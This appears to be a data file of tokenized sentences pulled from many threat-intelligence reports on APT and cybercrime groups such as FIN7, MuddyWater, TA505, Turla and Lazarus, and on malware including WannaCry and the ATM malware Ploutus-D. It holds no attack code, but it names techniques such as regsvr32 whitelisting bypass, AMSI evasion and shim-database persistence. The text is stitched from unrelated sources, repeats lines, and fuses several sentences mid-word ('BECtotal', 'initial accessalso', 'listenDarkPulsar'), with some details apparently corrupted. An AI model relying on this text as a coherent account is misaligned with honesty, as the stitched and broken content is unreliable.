FIN7 and Cobalt used decoy 302 HTTP redirections too , FIN7 on its GRIFFON C2s before January 2018 , and Cobalt ,on its staging servers , similar to CopyPaste .
Quite recently , FIN7 threat actors typosquatted the brand Digicert” using the domain name digicert-cdn[.]com , which is used as a command and control server for their GRIFFON implants .
The first of them is the well-known FIN7 , which specializes in attacking various companies to get access to financial data or PoS infrastructure .
The second one is CobaltGoblin Carbanak EmpireMonkey , which uses the same toolkit , techniques and similar infrastructure but targets only financial institutions and associated software/services providers .
We observe , with various level of confidence , that there are several interconnected groups using very similar toolkits and the same infrastructure to conduct their cyberattacks .
The last piece is the newly discovered CopyPaste group , who targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
At the end of 2018 , the cluster started to use not only CobaltStrike but also Powershell Empire in order to gain a foothold on the victims’ networks .
FIN7 thus continues to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
MuddyWater is widely regarded as a long-lived APT group in the Middle East .
From February to April 2019 , MuddyWater launched a series of spear-phishing attacks against governments , educational institutions , financial , telecommunications and defense companies in Turkey , Iran , Afghanistan , Iraq , Tajikistan and Azerbaijan .
FIN7 thus continue to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
We also unearthed and detailed our other findings on MuddyWater , such as its connection to four Android malware variants and its use of false flag techniques , among others , in our report New MuddyWater Activities Uncovered: Threat Actors Used Multi-Stage Backdoors , False Flags , Android Malware , and More .
Instead , the campaign used compromised legitimate accounts to trick victims into installing malware .
Notably , the group’s use of email as infection vector seems to yield success for their campaigns .
We also observed MuddyWater’s use of multiple open source post-exploitation tools , which they deployed after successfully compromising a target .
The attacker also connected to the compromised servers from IP addresses that were linked to dynamic domain names used as C&Cs by the delivered payloads .
The main payload is usually Imminent Monitor RAT; however , at the beginning of 2018 , we also observed the use of LuminosityLink RAT , NetWire RAT , and NjRAT .
In a case in June 2019 , we also noticed Warzone RAT being used .
Xpert RAT reportedly first appeared in 2011 .
The first version of Proyecto RAT” was published at the end of 2010 .
But with the West African gang we’ve named Scattered Canary , we have a deeper look at how business email compromise is connected to the rest of the cybercrime .
In a recent report , the FBI’s Internet Crime Complaint Center (IC3) reported that more than 20 , 000 businesses lost nearly $1.3 billion to BEC attacks in 2018 .
This investigation by the Agari Cyber Intelligence Division into the cybercriminal group we’ve named Scattered Canary offers unprecedented visibility into eleven years of fraud and criminal activities , and the growth of a 419 startup into a fully operational BEC business .
While this criminal organization’s activities now center around BEC , and extend to romance scams , credit card fraud , check fraud , fake job listings , credential harvesting , tax schemes , and more , these actors came from much humbler beginnings , starting with basic Craigslist scams in 2008 .
On November 29 , 2018 , Scattered Canary sent an attack email to Agari CFO Raymond Lim , enquiring as to his availability to send out a domestic wire transfer .
Many feel that they have a home team advantage living in Nigeria , where they are free to pay off law enforcement to look the other way .
Scattered Canary’s fraudulent history can be traced as far back as October 2008 , when the group first arrived on the cybercriminal circuit .
By March 2016 , one of Scattered Canary’s members had built enough trust with a romance victim—who we’ll call Jane—that she became a frequent source of new mule accounts for the group .
Alpha’s early role was fairly simple: engage with individuals , who he chose based on the goods they were selling , and then provide personal shipping addresses back to Omega .
By all accounts , late 2015 was the beginning of BEC for Scattered Canary .
The first type of attack Scattered Canary pivoted to was credential phishing .
Between July 2015 and February 2016 , Scattered Canary’s primary focus seemed to be mass harvesting general credentials using a Google Docs phishing page .
In the first few months of their credential phishing ventures , Scattered Canary’s sights were mostly set on Asian targets—Malaysia and Japan , in particular .
In November 2015 , the group started to focus on North American users , mostly in the United States .
This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BECtotal , Scattered Canary received more than 3 , 000 account credentials as a result of their phishing attacks .
For over eighteen months from March 2017 until November 2018 , Scattered Canary’s frequent enterprise-focused credential phishing campaigns almost exclusively targeted businesses in the United States and Canada .
In July 2018 , following a trend we have observed across the entire BEC threat landscape , Scattered Canary changed their preferred cash out mechanism from wire transfers to gift cards .
Instead of using fake Google Docs phishing pages to collect personal email login credentials , Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials .
Using personal information obtained from various sources , Scattered Canary started perpetrating fraud against US federal and state government agencies .
In total , 35 actors have been tied to Scattered Canary’s operations since the group emerged in 2008 .
Just as with romance scams ,actors make use of scripts and templates they can copy-and-paste without having to create something on their own .
When it comes to engaging targets , Scattered Canary frequently maximized efficiencies through the use of scripts , or as some members of the group call them , formats.” These formats are templated text documents that can contain several layers of phishing messages to send to potential victims .
Recently , we unveiled the existence of a UEFI rootkit , called LoJax , which we attribute to the Sednit group .
If Scattered Canary can be seen as a microcosm for the rapidly evolving organizations behind today’s most pernicious email scams , this report demonstrates that a much more holistic approach—one based on threat actor identity rather than type of fraudulent activity—is required to detect email fraud and protect organizations .
This is a first for an APT group , and shows Sednit has access to very sophisticated tools to conduct its espionage operations .
Three years ago , the Sednit group unleashed new components targeting victims in various countries in the Middle East and Central Asia .
In the past , Sednit used a similar technique for credential phishing .
At the end of August 2018 ,the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components .
As we explained in our most recent blogpost about Zebrocy , the configuration of the backdoor is stored in in the resource section and is split into four different hex-encoded , encrypted blobs .
The past iteration of SLUB spread from a unique watering hole website exploiting CVE-2018-8174 , a VBScript engine vulnerability .
It used GitHub and Slack as tools for communication between the malware and its controller .
On July 9 , we discovered a new version of SLUB delivered via another unique watering hole website .
This malicious site used CVE-2019-0752 , an Internet Explorer vulnerability discovered by Trend Micro’s Zero Day Initiative (ZDI) that was just patched this April .
Since we published out last report on SLUB , the backdoor has been updated and several improvements were implemented .
The SLUB malware was delivered through watering hole websites that were injected with exploits for CVE-2018-8174 or CVE-2019-0752 .
During this attack , we found that the SLUB malware used two Slack teams sales-yww9809” and marketing-pwx7789 .
SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments .
In April 2018 , SWEED began making use of a previously disclosed Office exploit .
In May 2018 , campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882 , a remote code execution bug in Microsoft Office that is commonly observed being leveraged in malicious documents used in commodity malware distribution .
We found them targeting countries in the Middle East such as United Arab Emirates and Saudi Arabia , as well as other countries such as India , Japan , Argentina , the Philippines , and South Korea .
Similar to previous campaigns , the JAR was directly attached to emails and used file names such as Order_2018.jar .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
TA505 is also using FlowerPippi (Backdoor.Win32.FLOWERPIPPI.A) , a new backdoor that we found them using in their campaigns against targets in Japan , India , and Argentina .
TA505 targeted Middle Eastern countries in a June 11 campaign that delivered more than 90% of the total spam emails to the UAE , Saudi Arabia , and Morroco .
It fetches the same FlawedAmmyy downloader .msi file , then downloads the FlawedAmmyy payload .
TA505 used Wizard (.wiz) files in this campaign , with FlawedAmmyy RAT as the final payload .
On June 14 , we saw TA505’s campaign still targeting UAE with similar tactics and techniques , but this time , some of the spam emails were delivered via the Amadey botnet .
It later delivered an information stealer named EmailStealer , ” which stolesimple mail transfer protocol (SMTP) credentials and email addresses in the victim’s machine .
On June 18 , the majority of the campaign’s spam emails were sent with the subject , Your RAKBANK Tax Invoice / Tax Credit Note” or Confirmation .
This campaign used the abovementioned .html file , malicious Excel/Word document VBA macro , the FlawedAmmyy payload , and Amadey .
On June 24 , we found another campaign targeting Lebanon with the ServHelper malware .
On June 17 , we observed the campaign’s spam emails delivering malware-embedded Excel files directly as an attachment .
On June 20 , we spotted the campaign’s spam emails delivering .doc and .xls files .
Nonetheless , these spam emails were not delivered to the UAE or Arabic-speaking users , but to banks in Asian countries such as India , Indonesia , and the Philippines .
After our analysis , we found that Proofpoint reported this malware as AndroMut as well .
In the campaign that targeted Japan , Philippines , and Argentina on June 20 , we found what seems to be a new , undisclosed malware , which we named Gelup .
Another new malware we found that TA505 is using in their campaigns last June 20 against targets in Japan , the Philippines , and Argentina is FlowerPippi .
The malicious email contains a highly suspicious sample which triggered the ZLAB team to investigate its capabilities and its possible attribution , discovering a potential expansion of the TA505 operation .
The attack , as stated by CyberInt , leveraged a command and control server located in Germany related to the TA505 actor: a very active group involved in cyber-criminal operation all around the world , threatening a wide range of high profile companies , active since 2014 .
The comparison of the infection chains reveals in both cases TA505 used a couple of SFX stages to deploy the RMS” software: a legitimate remote administration tool produced by the Russian company TektonIT .
The TA505 group is one of the most active threat groups operating since 2014 , it has traditionally targeted Banking and Retail industries , as we recently documented during the analysis of the Stealthy Email Stealer” part of their arsenal .
some code pieces are directly re-used in the analyzed campaigns , such as the i.cmd” and exit.exe” files , and , at the same time , some new components have been introduced , for instance the rtegre.exe” and the veter1605_MAPS_10cr0.exe” file .
In 2018 , Kaspersky Labs published a report that analyzed a Turla PowerShell loader that was based on the open-source project Posh-SecMod .
Turla is believed to have been operating since at least 2008 ,when it successfully breached the US military .
This is not the first time Turla has used PowerShell in-memory loaders to increase its chances of bypassing security products .
However , it is likely the same scripts are used more globally against many traditional Turla targets in Western Europe and the Middle East .
In some samples deployed since March 2019 , Turla developers modified their PowerShell scripts in order to bypass the Antimalware Scan Interface (AMSI) .
Based on our research , SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans .
It is interesting to note that Turla operators used the free email provider GMX again , as in the Outlook Backdoor and in LightNeuron .
This new research confirms our forecast and shows that the Turla group does not hesitate to use open-source pen-testing frameworks to conduct intrusion .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus aka OilRig , APT34 .
Waterbug has been using Meterpreter since at least early 2018 and , in this campaign , used a modified version of Meterpreter , which was encoded and given a .wav extension in order to disguise its true purpose .
In all likelihood , Waterbug’s use of Crambus infrastructure appears to have been a hostile takeover .
One of the most interesting things to occur during one of Waterbug’s recent campaigns was that during an attack against one target in the Middle East , Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware on to the victim’s network .
These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors .
Curiously though , Waterbug also compromised other computers on the victim’s network using its own infrastructure .
Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug .
Aside from the attack involving Crambus infrastructure , this sample of Mimikatz has only been seen used in one other attack ,against an education target in the UK in 2017 .
The first observed evidence of Waterbug activity came on January 11 , 2018 , when a Waterbug-linked tool (a task scheduler named msfgi.exe) was dropped on to a computer on the victim’s network .
In the case of the attack against the Middle Eastern target , Crambus was the first group to compromise the victim’s network , with the earliest evidence of activity dating to November 2017 .
Waterbug’s intrusions on the victim’s network continued for much of 2018 .
Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victim’s network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial accessalso reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool .
Waterbug also used an older version of PowerShell , likely to avoid logging .
In one of these campaigns , Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest .
The malware then uses WebDAV to upload the RAR archive to a Box account .
The DeepSight Managed Adversary and Threat Intelligence (MATI) team co-authored this blog and its customers have received intelligence with additional details about these campaigns , the characteristics of the Waterbug (aka Turla) cyber espionage group , and methods of detecting and thwarting activities of this adversary .
The DeepSight MATI team authored this blog and its customers have received intelligence with additional details about these campaigns , the characteristics of the Waterbug (aka Turla) cyber espionage group , and methods of detecting and thwarting activities of this adversary .
While reviewing a 2015 report⁵ of a Winnti intrusion at a Vietnamese gaming company , we identified a small cluster of Winnti⁶ samples designed specifically for Linux⁷ .
Following these reports , Chronicle researchers doubled down on efforts to try to unravel the various campaigns where Winnti was leveraged .
Distinct changes to Azazel by the Winnti developers include the addition of a function named ‘Decrypt2’ , which is used to decode an embedded configuration similar to the core implant .
Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits .
We will see more from Zebrocy into 2019 on government and military related organizations .
The PowerShell script will look at the architecture of the system to check which malicious DLL files should be downloaded .
In the same year , Silence conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
The FBI issued a rare bulletin admitting that a group named APT6 hacked into US government computer systems as far back as 2011 and for years stole sensitive data .
FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123 .
Micro attributes this activity to MuddyWater , an Iran-nexus actor that has been active since at least May 2017 .
FireEye assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
FireEye has observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks .
On Nov14 , 2017 , FireEye observed APT34 using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
Kaspersky reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013 .
APT33 is the only group that Kaspersky has observed use the DROPSHOT dropper .
The cyber espionage group APT32 heavily obfuscates their backdoors and scripts , and Mandiant consultants observed APT32 implement additional command argument obfuscation in April 2017 .
In all Mandiant investigations to date where the CARBANAK backdoor has been discovered , the activity has been attributed to the FIN7 threat group .
Kaspersky released a similar report about the same group under the name Carbanak in February 2015 .
FireEye assesses that APT32 leverages a unique suite of fully-featured malware .
FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam’s manufacturing , consumer products , and hospitality sectors .
The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions .
FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests .
In May and June 2017 , FireEye has associated this campaign with APT19 , a group that we assess is composed of freelancers , with some degree of sponsorship by the Chinese government .
APT10 is a Chinese cyber espionage group that FireEye has tracked since 2009 .
In addition to the spear phishes , FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers .
FireEye’s visibility into the operations of APT28 – a group we believe the Russian government sponsors – has given us insight into some of the government’s targets , as well as its objectives and the activities designed to further them .
FireEye has tracked and profiled APT28 group through multiple investigations , endpoint and network detections , and continuous monitoring .
In April 2015 , FireEye uncovered the malicious efforts of APT30 , a suspected China-based threat group .
FireEye iSIGHT Intelligence has been tracking a pair of cybercriminals that we refer to as the Vendetta Brothers .
Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability CVE-2016-7855 along with this kernel privilege escalation flaw to perform a targeted attack .
McAfee concludes that some groups—and especially the Poetry Group —have shifted tactics to use Citadel in ways other than what it was originally intended for .
McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons:Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 .
In November 2017 , Talos observed the Group123 , which included a new version of ROKRAT being used in the latest wave of attacks .
In addition to TALOS investigation on KONNI , on July 18 2017 , BitDefender released a whitepaper on DarkHotel .
According to security 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
ESET has also reported PowerShell scripts being used by Turla to provide direct , in-memory loading and execution of malware .
Additionally Kaspersky identified a new backdoor that we attribute with medium confidence to Turla .
Researchers at Symantec suspect that Turla used the hijacked network to attack a Middle Eastern government .
Symantec researchers have uncovered evidence that the Waterbug APT group has conducted a hostile takeover of an attack platform .
Researchers at the Microstep Intelligence Bureau have published a report on targeted attacks on the Ukrainian government that they attribute to the Gamaredon threat actor .
Kaspersky found an active campaign by a Chinese APT group we call SixLittleMonkeys that uses a new version of the Microcin Trojan and a RAT that we call HawkEye as a last stager .
Trend Micro has previously reported the use of this malware in targeted attacks by the BlackTech group , primarily focused on cyber-espionage in Asia .
LuckyMouse activity detected by Palo Alto involved the attackers installing web shells on SharePoint servers to compromise government organizations in the Middle East .
Talos published its analysis of the BlackWater campaign , related to MuddyWater group .
Trend Micro also reported MuddyWater’s use of a new multi-stage PowerShell-based backdoor called POWERSTATS v3 .
Regarding other groups , Kaspersky discovered new activity related to ZooPark , a cyber-espionage threat actor that has focused mainly on stealing data from Android devices .
Recorded Future published an analysis of the infrastructure built by APT33 (aka Elfin) to target Saudi organizations .
Early in Q2 , Kaspersky identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code .
In a recent campaign , Kaspersky observed ScarCruft using a multi-stage binary to infect several victims and ultimately install a final payload known as ROKRAT – a cloud service-based backdoor .
ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal .
The threat actor behind the campaign , which Kaspersky believes to be the PLATINUM APT group , uses an elaborate , previously unseen , steganographic technique to conceal communication .
FireEye defined APT40 as the Chinese state-sponsored threat actor previously reported as TEMP.Periscope , Leviathan and TEMP.Jumper .
In January , Kaspersky identified new activity by the Transparent Tribe APT group aka PROJECTM and MYTHIC LEOPARD , a threat actor with interests aligned with Pakistan that has shown a persistent focus on Indian military targets .
OceanLotus was another actor active during this period , using a new downloader called KerrDown , as reported by Palo Alto .
ESET recently uncovered a new addition to OceanLotus’s toolset targeting Mac OS .
In mid-2018 , Kaspersky's report on Operation AppleJeus” highlighted the focus of the Lazarus threat actor on cryptocurrency exchanges .
Kaspersky also observed some activity from Gaza Team and MuddyWater .
Kaspersky wrote about LuckyMouse targeting national data centers in June .
Kaspersky also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China .
Kaspersky have observed similar activity in the past from groups such as Oilrig and Stonedrill , which leads us to believe the new attacks could be connected , though for now that connection is only assessed as low confidence .
In August 2019 , FireEye released the Double Dragon” report on our newest graduated threat group , APT41 .
Today , FireEye Intelligence is releasing a comprehensive report detailing APT41 , a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations .
Group-IB experts continuously monitor the Silence’ activities .
Group-IB has uncovered a hacker group , MoneyTaker , attacking banks in the USA and Russia .
Group-IB reveals the unknown details of attacks from one of the most notorious APT groups , Lazarus .
Finally , Kaspersky produced a summary report on Sofacy’s summertime activity .
Kaspersky were also able to produce two reports on Korean speaking actors , specifically involving Scarcruft and Bluenoroff .
Analysis of the payload allowed us to confidently link this attack to an actor Kaspersky track as BlackOasis .
Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day .
It contains a Word document in plaintext ( written to Bienvenue_a_Sahaja_Yoga_Toulouse.doc ) , along with an executable ( Update.exe ) and DLL ( McUpdate.dll ) .
We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages .
Additionally , these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case , Facebook .
However , the unique malware variant , BlackEnergy 3 , reemerged in Ukraine early in 2015 , where we had first found Sandworm Team .
The initial indicator of the attack was a malicious web shell that was detected on an IIS server , coming out of the w3wp.exe process .
We have previously detected groups we suspect are affiliated with the North Korean government compromising electric utilities in South Korea , but these compromises did not lead to a disruption of the power supply .
Instead , sensitive KHNP documents were leaked by the actors as part of an effort to exaggerate the access they had and embarrass the South Korean Government , a technique we assess North Korea would turn to again in order to instill fear and/or meet domestic propaganda aims .
North Korea linked hackers are among the most prolific nation-state threats , targeting not only the U.S. and South Korea but the global financial system and nations worldwide .
The malware may inject itself into browser processes and explorer.exe .
In the last few weeks , FormBook was seen downloading other malware families such as NanoCore .
The vulnerability is bypassing most mitigations; however , as noted above , FireEye email and network products detect the malicious documents .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
In their current campaign , APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros .
APT32 actors continue to deliver the malicious attachments via spear-phishing emails .
APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel files to deliver their initial exploits .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
February saw three particularly interesting publications on the topic of macOS malware: a Trojan Cocoa application that sends system information including keychain data back to the attacker , a macOS version of APT28’s Xagent malware , and a new Trojan ransomware .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
To install and register the malicious shim database on a system , FIN7 used a custom Base64 encoded PowerShell script , which ran the sdbinst.exe” utility to register a custom shim database file containing a patch onto a system .
During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of services.exe” with their CARBANAK payload .
We have not yet identified FIN7’s ultimate goal in this campaign ,as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft .
Figure 1 shows a sample phishing email used by HawkEye operators in this latest campaign .
Many groups leverage the regsvr32.exe application whitelisting bypass , including APT19 in their 2017 campaign against law firms .
The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 .
The malware appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD (via Bitcoin) to decrypt the data .
The malware then builds two DLLs in memory – they are 32 and 64-bit DLLs that have identical functionality .
The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments -m security .
The malware then writes the R resource data to the file C:\WINDOWS\tasksche.exe .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
Attaching with IDA Pro via WinDbg as in Figure 11 shows that the program counter points to the infinite loop written in memory allocated by flare-qdb .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak trojan .
In this blog , FireEye Labs dissects this new ATM malware that we have dubbed RIPPER (due to the project name ATMRIPPER” identified in the sample) and documents indicators that strongly suggest this piece of malware is the one used to steal from the ATMs at banks in Thailand .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
The samples we identified target the ATM vendor Diebold .
This blog covers the changes , improvements , and Indicators of Compromise (IOC) of Ploutus-D in order to help financial organizations identify and defend against this threat .
Ploutus-D also allows the attackers to enter the amount to withdraw (billUnits – 4 digits) and the number of cycles (billCount – 2 digits) to repeat the dispensing operation (see Figure 10) .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
Since Ploutus-D interacts with the Kalignite Platform , only minor modifications to the Ploutus-D code may be required to target different ATM vendors worldwide .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument .
We observed implementation of this bypass in the macro code to invoke regsvr32.exe , along with a URL passed to it which was hosting a malicious SCT file .
There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet .
Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listenDarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
One of them – ipv4.dll – has been placed by the APT with what is , in fact , a downloader for other malicious components .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
First observed in mid-2014 , this malware shared code with the Bugat ( aka Feodo ) banking Trojan .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
Whitefly first infects its victims using a dropper in the form of a malicious.exe or .dll file that is disguised as a document or image .
CraP2P has frequently been used to distribute other malware such as Locky and Dridex , but also supported large scale spam campaigns for dating advertisement and pump-and-dump scams after the demise of Kelihos .
Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
More recently , in May 2017 , APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company .
More recently , in May 2017 , APT33 appeared to target organizations in Saudi and South Korea using a malicious file that attempted to entice victims with job vacancies .
In fact , REDBALDKNIGHT has been targeting Japan as early as 2008 , based on the file properties of the decoy documents they've been sending to their targets .
In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early asat least based on the file properties of the decoy documents they've been sending to their targets .
Carbanak is a backdoor used by the attackers to compromise the victim .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
The Korean-language Word document manual.doc appeared in Vietnam on January 17 , with the original author name of Honeybee .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
For example , DeltaAlfa specifies a DDoS bot family identified as Alfa .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .
In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality .
Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library ( .dll )Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .
The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
The Magic Hound campaign was also discovered using a custom dropper tool , which we have named MagicHound.DropIt .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
The HTA files contained job descriptions and links to job postings on popular employment websites .
These emails included recruitment-themed lures and links to malicious HTML application ( HTA ) files .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document .
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .
The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Analysts in our DeepSight Managed Adversary and Threat Intelligence ( MATI ) team have found a new backdoor , Backdoor.Powemuddy , new variants of Seedworm 's Powermud backdoor ( aka POWERSTATS ) , a GitHub repository used by the group to store their scripts , as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
